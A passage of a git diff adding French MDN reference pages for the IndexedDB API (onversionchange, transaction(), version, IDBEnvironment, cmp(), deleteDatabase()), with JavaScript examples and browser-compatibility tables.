+<p>Le gestionnaire d'événement <strong><code>onversionchange</code></strong>, rattaché à l'interface {{domxref("IDBDatabase")}}, s’exécute au déclenchement de l'événement <code>versionchange</code> qui se produit lorsque la structure de la base de donnée change (l'événement {{domxref("IDBOpenDBRequest.onupgradeneeded")}} ou {{domxref("IDBFactory.deleteDatabase")}} a été demandé par ailleurs (probablement dans une autre fenêtre ou onglet sur le même ordinateur)).</p>
+
+<p>Cela n'est pas la même chose qu'une transaction <code>versionchange</code> (bien que les concepts soient apparentés).</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js">db.onversionchange = function() { ... }</pre>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>Cette exemple illustre un gestionnaire d'événement {{domxref("IDBOpenDBRequest.onupgradeneeded")}} dans lequel on ajoute un magasin d'objets. Les deux gestionnaires d'événements <code>onerror</code> et <code>onabort</code> sont utilisés pour les cas d'échec. Le gestionnaire d'événement <code>onversionchange</code> est utilisé afin d'indiquer que la structure de la base de données a été modifiée.</p>
+
+<pre class="brush: js">DBOpenRequest.onupgradeneeded = function(event) {
+  var db = event.target.result;
+
+  db.onerror = function() {
+    note.innerHTML += '&lt;li&gt;Erreur du chargement de la base de données.&lt;/li&gt;';
+  };
+
+  db.onabort = function() {
+    note.innerHTML += '&lt;li&gt;L\'ouverture de la connexion à été annulée !&lt;/li&gt;';
+  };
+
+  // Ajoute un magasin d'objets à la base de données
+
+  var objectStore = db.createObjectStore("toDoList", { keyPath: "taskTitle" });
+
+  // Définition des index
+
+  objectStore.createIndex("hours", "hours", { unique: false });
+  objectStore.createIndex("minutes", "minutes", { unique: false });
+  objectStore.createIndex("day", "day", { unique: false });
+  objectStore.createIndex("month", "month", { unique: false });
+  objectStore.createIndex("year", "year", { unique: false });
+
+  objectStore.createIndex("notified", "notified", { unique: false });
+
+  note.innerHTML += '&lt;li&gt;Le magasin d\'objet à été ajouté.&lt;/li&gt;';
+
+  db.onversionchange = function(event) {
+    note.innerHTML += '&lt;li&gt;Des changements ont été appliqués sur la base de données. Vous devez réactualiser cette page ou la fermer et utiliser l\'autre version de cette application qui est ouverte.&lt;/li&gt;';
+  };
+};</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('IndexedDB', '#widl-IDBDatabase-onversionchange', 'onversionchange')}}</td>
+   <td>{{Spec2('IndexedDB')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>23{{property_prefix("webkit")}}<br>
+    24</td>
+   <td>10 {{property_prefix("moz")}}<br>
+    {{CompatGeckoDesktop("16.0")}}</td>
+   <td>10, partial</td>
+   <td>15</td>
+   <td>7.1</td>
+  </tr>
+  <tr>
+   <td>Disponible via les web workers</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>4.4</td>
+   <td>{{CompatGeckoMobile("22.0")}}</td>
+   <td>1.0.1</td>
+   <td>10</td>
+   <td>22</td>
+   <td>8</td>
+  </tr>
+  <tr>
+   <td>Disponible via les web workers</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/API_IndexedDB/Using_IndexedDB">Manipuler IndexedDB</a></li>
+ <li>Démarrer des transactions : {{domxref("IDBDatabase")}}</li>
+ <li>Manipuler des transactions : {{domxref("IDBTransaction")}}</li>
+ <li>Définir un intervalle de clés : {{domxref("IDBKeyRange")}}</li>
+ <li>Récupérer des données et les modifier : {{domxref("IDBObjectStore")}}</li>
+ <li>Manipuler des curseurs : {{domxref("IDBCursor")}}</li>
+ <li>Exemple de référence pour IndexedDB : <a href="https://github.com/mdn/to-do-notifications/tree/gh-pages">To-do Notifications</a></li>
+</ul>
diff --git a/files/fr/web/api/idbdatabase/transaction/index.html b/files/fr/web/api/idbdatabase/transaction/index.html
new file mode 100644
index 0000000000..82f9006306
--- /dev/null
+++ b/files/fr/web/api/idbdatabase/transaction/index.html
@@ -0,0 +1,224 @@
+---
+title: IDBDatabase.transaction()
+slug: Web/API/IDBDatabase/transaction
+translation_of: Web/API/IDBDatabase/transaction
+---
+<p>{{ APIRef("IndexedDB") }}</p>
+
+<div>
+<p>La méthode <strong><code>transaction</code></strong> de l'interface {{domxref("IDBDatabase")}} renvoie une {{domxref("IDBTransaction","transaction")}} sur laquelle on peut appeler la méthode {{domxref("IDBTransaction.objectStore")}} pour accéder aux magasins d'objets de la base de donnée.</p>
+</div>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js">var transaction = db.transaction(storeNames, mode);</pre>
+
+<h2 id="Paramètres">Paramètres</h2>
+
+<dl>
+ <dt>storeNames</dt>
+ <dd>un tableau de noms de magasins d'objets entrant dans le cadre de cette transaction. Indique seulement les magasins d'objets dont on a besoin.<br>
+ Si l’on n’a besoin que d’un seul magasin d'objet, on peut simplement passer son nom. Les lignes suivantes sont équivalentes :
+ <pre class="brush: js">var transaction = db.transaction(['my-store-name']);
+var transaction = db.transaction('my-store-name');</pre>
+ Pour utiliser tous les magasins d'objets de la base de donnée, on peut appeler la methode {{domxref("IDBDatabase.objectStoreNames")}}:
+
+ <pre class="brush:js;">var transaction = db.transaction(db.objectStoreNames);</pre>
+ Passer un tableau vide lèvera une exception.</dd>
+ <dt>mode {{optional_inline}}</dt>
+ <dd>
+ <p>Le {{domxref("IDBTransactionMode","mode")}} d’{{domxref("IDBObjectStore","accès aux magasins d'objets")}} à la base de données (par default <code>readonly</code>):</p>
+
+ <table class="standard-table">
+  <thead>
+   <tr>
+    <th scope="col">Valeur</th>
+    <th scope="col">Explication</th>
+   </tr>
+  </thead>
+  <tbody>
+   <tr>
+    <td id="readonly"><code>readonly</code></td>
+    <td>permet de prendre des objets dans les magasins d'objets, de lire les index et de faire des curseurs.</td>
+   </tr>
+   <tr>
+    <td id="readwrite"><code>readwrite</code></td>
+    <td>Permet en plus de que l'on peut faire en readonly, d’ajouter et mettre à jour des objets dans les magasins d'objets.</td>
+   </tr>
+   <tr id="versionchange">
+    <td><code>versionchange</code></td>
+    <td>Permet toute les opérations, y compris celles qui suppriment ou ajoutent des {{domxref("IDBOjectStore","magasins d'objets")}} ou des {{domxref("IDBIndex","index")}}. Ce mode met à jour le numéro de version de la base de données, il se sert au début de {{domxref ("IDBDatabase.setVersion")}}. Les {{domxref("IDBTransaction","transactions")}} dans ce mode ne peuvent pas fonctionner en même temps que d'autres.</td>
+   </tr>
+   <tr>
+    <td id="readwriteflush "><code>readwriteflush</code></td>
+    <td>
+     <p>Si vous devez vous assurer de l'efficacité d'une transaction pour une raison quelconque (par exemple, vous stockez des données critiques qui ne peuvent être recalculées plus tard), vous pouvez forcer l’enregistrement complet sur disque avant de déclencher l’événement <code>complete</code> en utilisant le mode <code>readwriteflush</code> (non standard) expérimental ( voir {{domxref("IDBDatabase.transaction")}} ). C'est expérimental, et ne peut être utilisé que si le <code> dom.indexedDB.experimental </code> pref est réglé sur <code> true </code> dans <code> about:config.</code></p>
+
+     <p class="note">Depuis Firefox 40, les transactions IndexedDB diminuent en efficacité pour gagner en efficience (voir {{Bug ( "1112702")}}.) Auparavant, dans une transaction en <code><a href="#const_read_write">readwrite</a></code> l'événement complete était déclanché seulement lorsque toutes les données étaient écrites sur le disque. Maintenant l'événement <code>complete</code> est déclenché après que l'OS ai envoyé l'ordre d'écrire les données, mais potentiellement avant qu'elles aient été écrites sur le disque. L'événement <code>complete</code> peut ainsi se déclancher plus rapidement qu'auparavant, cependant, il existe une chance infime pour que l'ensemble de la transaction soit perdue si le système d'exploitation plante ou s'il y a une perte de courant avant que les données aient été écites sur le disque. Étant donné que ces événements catastrophiques sont rares la plupart des utilisateurs ne devraient pas avoir à s'en préoccuper davantage.</p>
+    </td>
+   </tr>
+  </tbody>
+ </table>
+ {{note("Pour éviter des pertes de performance, n’utilisez le mode <code>readwrite</code> que si vous avez effectivement besoin d’écrire ou de mettre à jour des données sur la base.")}} Si on a besoin d’accéder à un magasin d'objets pour écrire ou mettre à jour des enregistrement, on utilise la sytaxe:
+
+ <pre class="brush:js">var transaction = db.transaction('monMagasin','readwrite');</pre>
+ </dd>
+ <dd> </dd>
+</dl>
+
+<h2 id="Renvoie">Renvoie</h2>
+
+<p>Une {{domxref("IDBTransaction","transaction")}}.</p>
+
+<h2 id="Exceptions">Exceptions</h2>
+
+<dl>
+ <dt><code>InvalidStateError</code></dt>
+ <dd>Cette {{domxref("DOMException","exception")}} est levée si la méthode <code>close()</code> a été appelée sur cette connexion à la base de donnée.</dd>
+ <dt><code>NotFoundError</code></dt>
+ <dd>Cette {{domxref("DOMException","exception")}} est levée si un magasin d'objets indiqué dans le paramètre <code>storeNames</code> n'existe pas ou plus.</dd>
+ <dt><code>TypeError</code></dt>
+ <dd>Cette {{domxref("DOMException","exception")}} est levée si la valeur du paramètre <code>mode</code> n'est pas valide.</dd>
+ <dt><code>InvalidAccessError</code></dt>
+ <dd>Cette {{domxref("DOMException","exception")}} est levée si la liste passée à <code>storeNames</code> est vide</dd>
+</dl>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>Dans cet exemple, on ouvre simplement une connexion à la base de donnée puis une transaction sur cette connexion.</p>
+
+<pre class="brush: js">var db;
+
+// Connexion à la base de donnée
+var DBOpenRequest = window.indexedDB.open("toDoList", 4);
+
+DBOpenRequest.onsuccess = function(event) {
+  note.innerHTML += '&lt;li&gt;Base de donnée initialisée.&lt;/li&gt;';
+
+  // affecte la connexion à la variable db
+  db = DBOpenRequest.result;
+
+  // exécute la fonction displayData() qui affiche la liste des taches présentes dans la base de donnée
+  displayData();
+
+};
+
+// ouvre une transaction en lecture/écriture prête pour l'ajout d'enregistrement.
+var transaction = db.transaction(["toDoList"], "readwrite");
+
+// affiche le succès de l'ouverture de la transaction
+transaction.oncomplete = function(event) {
+  note.innerHTML += '&lt;li&gt;Fin de transaction: les modifications sur la base de donnée sont terminées.&lt;/li&gt;';
+};
+
+transaction.onerror = function(event) {
+  note.innerHTML += '&lt;li&gt;La transaction n'a pas pu être initiée.&lt;/li&gt;';
+};
+
+// On peut maintenant accéder au magasin d'objet
+var objectStore = transaction.objectStore("toDoList");
+// etc.</pre>
+
+<p class="note">Pour un exemple de travail complet, voir notre <a href="https://github.com/mdn/to-do-notifications/">To-do Notifications</a> app (<a href="http://mdn.github.io/to-do-notifications/">view example live</a>).</p>
+
+<h2 id="Spécification">Spécification</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('IndexedDB', '#widl-IDBDatabase-transaction-IDBTransaction-DOMString-sequence-DOMString--storeNames-IDBTransactionMode-mode', 'transaction()')}}</td>
+   <td>{{Spec2('IndexedDB')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilité avec les navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>23{{property_prefix("webkit")}}<br>
+    24</td>
+   <td>10 {{property_prefix("moz")}}<br>
+    {{CompatGeckoDesktop("16.0")}}</td>
+   <td>10, en partie</td>
+   <td>15</td>
+   <td>7.1</td>
+  </tr>
+  <tr>
+   <td>Disponible dans workers</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>4.4</td>
+   <td>{{CompatGeckoMobile("22.0")}}</td>
+   <td>1.0.1</td>
+   <td>10</td>
+   <td>22</td>
+   <td>8</td>
+  </tr>
+  <tr>
+   <td>Disponible dans workers</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("IndexedDB_API.Using_IndexedDB","Utiliser IndexedDB")}}</li>
+ <li>{{domxref("IDBDatabase","Débuter une connexion")}}</li>
+ <li>{{domxref("IDBTransaction","Utilisé les transactions")}}</li>
+ <li>{{domxref("IDBKeyRange","Définir l'intervalle des clés")}}</li>
+ <li>{{domxref("IDBObjectStore","Accès aux magasins d'objets")}}</li>
+ <li>{{domxref("IDBCursor","Utiliser les curseur")}}</li>
+ <li>Exemple de référence: <a class="external" href="https://github.com/mdn/to-do-notifications/tree/gh-pages">To-do Notifications</a> (<a class="external" href="http://mdn.github.io/to-do-notifications/">view example live</a>.)</li>
+</ul>
diff --git a/files/fr/web/api/idbdatabase/version/index.html b/files/fr/web/api/idbdatabase/version/index.html
new file mode 100644
index 0000000000..f30b2a5ea9
--- /dev/null
+++ b/files/fr/web/api/idbdatabase/version/index.html
@@ -0,0 +1,79 @@
+---
+title: IDBDatabase.version
+slug: Web/API/IDBDatabase/version
+tags:
+  - API
+  - IDBDatabase
+  - IndexedDB
+  - Propriété
+  - Reference
+translation_of: Web/API/IDBDatabase/version
+---
+<div>{{APIRef("IndexedDB")}}</div>
+
+<p>La propriété <strong><code>version</code></strong>, rattachée à l'interface {{domxref("IDBDatabase")}}, est un entier sur 64 bits qui contient la version de la base de données à laquelle on est connecté. Lors de la création initiale d'une base de données, cet attribut a la chaîne vide.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">db.version</pre>
+
+<h3 id="Valeur">Valeur</h3>
+
+<p>Un entier qui contient la version de la base de données à laquelle on est connecté.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js;highlight:[16]">// On ouvre la base de données
+var DBOpenRequest = window.indexedDB.open("toDoList", 4);
+
+//  On déclare des gestionnaires d'évènements pour l'ouverture
+DBOpenRequest.onerror = function(event) {
+  note.innerHTML += '&lt;li&gt;Erreur lors du chargement de la base de données.&lt;/li&gt;';
+};
+
+DBOpenRequest.onsuccess = function(event) {
+  note.innerHTML += '&lt;li&gt;Base de données initialisée.&lt;/li&gt;';
+
+  // on stocke le résultat de l'ouverture si besoin de l'utiliser ensuite
+  db = DBOpenRequest.result;
+
+  // Cette ligne inscrira la version de la base dans la console : "4"
+  console.log(db.version);
+};</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('IndexedDB', '#widl-IDBDatabase-version', 'version')}}</td>
+   <td>{{Spec2('IndexedDB')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("api.IDBDatabase.version")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/API_IndexedDB/Using_IndexedDB">Utiliser IndexedDB</a></li>
+ <li>Initier une connexion : {{domxref("IDBDatabase")}}</li>
+ <li>Utiliser les transactions : {{domxref("IDBTransaction")}}</li>
+ <li>Définir un intervalle de clés : {{domxref("IDBKeyRange")}}</li>
+ <li>Récupérer et modifier les données : {{domxref("IDBObjectStore")}}</li>
+ <li>Utiliser les curseurs {{domxref("IDBCursor")}}</li>
+ <li>Exemple de référence : <a class="external" href="https://github.com/mdn/to-do-notifications/tree/gh-pages">To-do Notifications</a> (<a class="external" href="https://mdn.github.io/to-do-notifications/">exemple <em>live</em></a>).</li>
+</ul>
diff --git a/files/fr/web/api/idbenvironment/index.html b/files/fr/web/api/idbenvironment/index.html
new file mode 100644
index 0000000000..aabd28dfab
--- /dev/null
+++ b/files/fr/web/api/idbenvironment/index.html
@@ -0,0 +1,78 @@
+---
+title: IDBEnvironment
+slug: Web/API/IDBEnvironment
+tags:
+  - API
+  - IDBEnvironment
+  - IndexedDB
+  - Référence(2)
+translation_of: Web/API/IDBEnvironment
+---
+<div>{{APIRef}}</div>
+
+<div class="warning">
+<p><strong>Important :</strong> À partir de Firefox 52, la propriété définie dans ce <em>mixin</em> a été déplacée vers {{domxref("WindowOrWorkerGlobalScope")}} et d'autres navigateurs implémenteront également cette décision. Voir {{domxref("WindowOrWorkerGlobalScope")}} pour des informations à jour.</p>
+</div>
+
+<p>L'utilitaire <strong><code>IDBEnvironment</code></strong>, lié à l'interface <a href="/fr/docs/Web/API/API_IndexedDB">IndexedDB API</a>, contient la propriété <code>indexedDB</code> qui permet d'accéder aux fonctionnalités de l'API IndexedDB. C'est l'interface de haut niveau implémentée par les objets {{domxref("window")}} et {{domxref("Worker")}}.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt>{{domxref("IDBEnvironment.indexedDB")}} {{readonlyInline}}</dt>
+ <dd>Cette propriété fournit un mécanisme qui permet aux applications d'accéder à des bases de données de façon asynchrone. Elle contient un objet {{domxref("IDBFactory")}}.</dd>
+</dl>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>Dans le fragment de code suivant, on crée une requête asynchrone sur une base de données et on utilise le gestionnaire d'évènements <code>onsuccess</code> de la requête :</p>
+
+<pre class="brush: js;highlight:[3]">var db;
+function openDB() {
+ var DBOpenRequest = window.indexedDB.open("toDoList");
+ DBOpenRequest.onsuccess = function(e) {
+   db = DBOpenRequest.result;
+ };
+}
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('IndexedDB', '#idl-def-IDBEnvironment', 'IDBEnvironment')}}</td>
+   <td>{{Spec2('IndexedDB')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div>
+
+
+<p>{{Compat("api.IDBEnvironment")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+</div>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/API_IndexedDB/Using_IndexedDB">Utiliser IndexedDB</a></li>
+ <li>Initier une connexion : {{domxref("IDBDatabase")}}</li>
+ <li>Utiliser les transactions : {{domxref("IDBTransaction")}}</li>
+ <li>Définir un intervalle de clés : {{domxref("IDBKeyRange")}}</li>
+ <li>Récupérer et modifier les données : {{domxref("IDBObjectStore")}}</li>
+ <li>Utiliser les curseurs {{domxref("IDBCursor")}}</li>
+ <li>Exemple de référence : <a class="external" href="https://github.com/mdn/to-do-notifications/tree/gh-pages">To-do Notifications</a> (<a class="external" href="https://mdn.github.io/to-do-notifications/">exemple <em>live</em></a>).</li>
+</ul>
diff --git a/files/fr/web/api/idbfactory/cmp/index.html b/files/fr/web/api/idbfactory/cmp/index.html
new file mode 100644
index 0000000000..10fd12cbad
--- /dev/null
+++ b/files/fr/web/api/idbfactory/cmp/index.html
@@ -0,0 +1,189 @@
+---
+title: IDBFactory.cmp()
+slug: Web/API/IDBFactory/cmp
+tags:
+  - API
+  - IDBFactory
+  - IndexedDB
+  - Méthode
+  - Reference
+translation_of: Web/API/IDBFactory/cmp
+---
+<div>{{APIRef("IndexedDB")}}</div>
+
+<p>La méthode <strong><code>cmp()</code></strong> de l'interface {{domxref("IDBFactory")}} compare deux valeurs de clé et détermine si celles-ci sont égales et sinon, laquelle est la plus grande. Cette opération est utilisée pour l'enregistrement et le parcours des données.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<p class="note"><strong>Note :</strong> Cette méthode ne doit pas être utilisée pour comparer des valeurs JavaScript. En effet, de nombreuses valeurs JavaScript ne sont pas des valeurs valides pour représenter des clés IndexedDB (les booléens et les objets par exemple), dans ces cas, elles peuvent être traitées comme des clés égales (ainsi IndexedDB ignore les tableaux ayant des propriétés non numériques et les considère comme des tableaux vides, de sorte que les éventuels tableaux non numériques seront considérés comme égaux). Une exception est levée si l'une des valeurs n'est pas une clé valide.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">var resultat = window.indexedDB.cmp(a, b);</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>a</code></dt>
+ <dd>La première clé pour la comparaison.</dd>
+ <dt><code>b</code></dt>
+ <dd>La deuxième clé pour la comparaison.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un entier qui indique le résultat de la comparaison. Le tableau ci-dessous indique les valeurs possibles et leur signification :</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Valeur renvoyée</th>
+   <th scope="col">Description</th>
+  </tr>
+  <tr>
+   <td>-1</td>
+   <td>La clé 1 est plus petite que la clé 2.</td>
+  </tr>
+  <tr>
+   <td>0</td>
+   <td>Les deux clé sont égales.</td>
+  </tr>
+  <tr>
+   <td>1</td>
+   <td>La clé 1 est plus grande que la clé 2.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Exceptions_levées">Exceptions levées</h3>
+
+<p>Cette méthode peut lever une exception {{domxref("DOMException")}} de type :</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Exception</th>
+   <th scope="col">Description</th>
+  </tr>
+  <tr>
+   <td><a href="/fr/docs/Web/API/DOMError"><code>DataError</code></a></td>
+   <td>L'une des clés fournies n'est pas valide.</td>
+  </tr>
+ </thead>
+</table>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js;">var a = 1;
+var b = 2;
+var result = window.indexedDB.cmp(a, b);
+console.log( "Résultat de la comparaison : " + result );</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('IndexedDB', '#widl-IDBFactory-cmp-short-any-first-any-second', 'cmp')}}</td>
+   <td>{{Spec2('IndexedDB')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>23{{property_prefix("webkit")}}<br>
+    24</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>10 {{property_prefix("moz")}}<br>
+    {{CompatGeckoDesktop("16.0")}}</td>
+   <td>10</td>
+   <td>15</td>
+   <td>7.1</td>
+  </tr>
+  <tr>
+   <td>Disponible dans les <em>workers</em></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>10</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Webview Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome pour Android</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>4.4</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("22.0")}}</td>
+   <td>10</td>
+   <td>22</td>
+   <td>8</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Disponible dans les <em>workers</em></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>10</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/API_IndexedDB/Using_IndexedDB">Utiliser IndexedDB</a></li>
+ <li>Initier une connexion : {{domxref("IDBDatabase")}}</li>
+ <li>Utiliser les transactions : {{domxref("IDBTransaction")}}</li>
+ <li>Définir un intervalle de clés : {{domxref("IDBKeyRange")}}</li>
+ <li>Récupérer et modifier les données : {{domxref("IDBObjectStore")}}</li>
+ <li>Utiliser les curseurs {{domxref("IDBCursor")}}</li>
+ <li>Exemple de référence : <a class="external" href="https://github.com/mdn/to-do-notifications/tree/gh-pages">To-do Notifications</a> (<a class="external" href="https://mdn.github.io/to-do-notifications/">exemple <em>live</em></a>).</li>
+</ul>
diff --git a/files/fr/web/api/idbfactory/deletedatabase/index.html b/files/fr/web/api/idbfactory/deletedatabase/index.html
new file mode 100644
index 0000000000..766e109546
--- /dev/null
+++ b/files/fr/web/api/idbfactory/deletedatabase/index.html
@@ -0,0 +1,173 @@
+---
+title: IDBFactory.deleteDatabase()
+slug: Web/API/IDBFactory/deleteDatabase
+tags:
+  - IDBFactory
+  - IndexedDB
+  - Méthode
+  - Reference
+translation_of: Web/API/IDBFactory/deleteDatabase
+---
+<div>{{APIRef("IndexedDB")}}</div>
+
+<p>La méthode <strong><code>deleteDatabase()</code></strong>, rattachée à l'interface {{domxref("IDBFactory")}}, permet de demander la suppression d'une base de données. La méthode renvoie immédiatement un objet {{domxref("IDBOpenDBRequest")}} puis effectue l'opération de suppression de façon asynchrone.</p>
+
+<p>Si la base de données est bien supprimée, un évènement <code>success</code> est déclenché sur l'objet <code>IDBOpenDBRequest</code> renvoyé et la propriété <code>result</code> vaut alors <code>undefined</code>. Si une erreur se produit lors de la suppression, ce sera un évènement <code>error</code> qui sera déclenché sur l'objet renvoyé par la méthode.</p>
+
+<div>
+<p>Lorsque la méthode <code>deleteDatabase()</code> est invoquée, toutes les autres connexions qui sont ouvertes sur cette base de données recevront un évènement <code><a href="/fr/docs/Web/Events/versionchange_indexedDB">versionchange</a></code>.</p>
+</div>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>La syntaxe actuellement standard est :</p>
+
+<pre class="syntaxbox">var <em>request</em> = <em>indexedDB</em>.deleteDatabase(<em>nom</em>);</pre>
+
